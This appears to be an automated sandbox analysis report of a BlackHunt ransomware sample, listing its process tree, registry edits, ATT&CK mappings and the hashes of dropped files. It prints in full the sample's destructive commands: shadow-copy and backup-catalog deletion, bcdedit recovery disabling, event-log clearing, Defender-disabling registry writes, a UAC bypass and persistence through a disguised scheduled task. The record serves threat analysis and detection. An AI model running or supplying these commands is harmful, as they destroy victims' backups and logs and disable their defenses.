description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe"C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2316 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2656
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1880
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1988
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3224
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:380
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:488
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1716
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1984
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2936
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe" /F2⤵PID:340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2180
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2792
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2756
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2776
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2344
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2508
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1328
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2832
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2528
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2188
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2084
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2532
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2452
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2492
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2712
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2868
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2668
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2072
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2164
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2064
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:560
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:3512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2868
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:2136
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:1548
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3252
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:4020
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:2000
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3812
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2856
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2672
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3384
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1700
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1688
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:1540
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1596
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3184
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3092
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4072
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3900
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1216
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3524
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:2168
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:1592
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:3400
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:3952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3436
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:3916
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2684
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:1652
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:4076
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:3572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:1180
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1820
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:3300
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2268
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:3124
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:760
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe"2⤵
- Deletes itself
PID:3412 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1916
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f1⤵
- Modifies registry class
PID:2708
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f1⤵PID:1112
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f1⤵PID:708
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2208
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f1⤵PID:3860
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded1⤵
- Interacts with shadow copies
PID:1532
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:268
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2852
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:1⤵
- Deletes NTFS Change Journal
PID:564
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No1⤵
- Modifies boot configuration data using bcdedit
PID:2628 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2280
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable1⤵PID:2592
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:3692
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet1⤵
- Deletes backup catalog
PID:3728
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2180
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:3216
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe" /F1⤵
- Creates scheduled task(s)
PID:3248
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Interacts with shadow copies
PID:3236
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f1⤵PID:3192
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f1⤵PID:3168
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB1⤵
- Interacts with shadow copies
PID:3136
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB1⤵
- Interacts with shadow copies
PID:2716
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f1⤵PID:2748
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f1⤵PID:2880
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f1⤵PID:3048
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f1⤵PID:2168
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f1⤵PID:1532
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f1⤵PID:580
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f1⤵PID:2308
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f1⤵PID:2976
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f1⤵PID:1124
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f1⤵PID:2548
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f1⤵PID:1832
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f1⤵PID:1640
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f1⤵PID:2328
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f1⤵PID:1928
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2412
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f1⤵PID:2504
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f1⤵
- Modifies registry class
PID:2148
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-3961355372108484188281274874113531442213533706935221115761421126819-1435084509"1⤵
- Enumerates connected drives
PID:2716
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f1⤵
- Modifies registry class
PID:2748
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f1⤵
- Modifies registry class
PID:860
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD51c72fb354f1c35142846a9918a7f1f1e
SHA104ba882e6a0396f124b81618062288d552186af4
SHA2566618645953d105318cc9a98c0ced751a65d850fe1a9a45b1d0866876f44fd2b1
SHA51234944e1ed28701ccd6886c089d4b467d33c1475a1ded8b42047126a64cf2441aafa7a618cfafd5df02c96e0c07686758ba52910077ceeed188935eb287ec37a1
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Filesize
12KB
MD5869a180a3cf971495598e34310ff7a75
SHA1dbc9029950f47ab0f268e6b6b2a806e4dcf93813
SHA256caa196b499af81b8020c49f15df8eaa8bd3275010825152d8e2d5983fc5467d1
SHA5125b2c96648799043eb2522a002b75d7e20028dfd2f2f61b316383f65cab66af726bc0eac03ce2ad18061d13d2454f67e34c446761dfaa77fef09b31c74ef76601
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Filesize
684B
MD5fc7f6b2dba15f09163bd654f99ccdd12
SHA1d36f12e38f3694808a528001645ccad075ce97c4
SHA25654b5adbb40b3bde2749c89bc4f4191ea7d476fefed81de5837581cb69a01c380
SHA512522cc0744e6e92b119da0fcd3c8e33b0914b4d03c60a4d1302fb641f0f75465591458ab1e652da14f3aad077c7492bdec46f3f9749b07330f02a1747f23bf007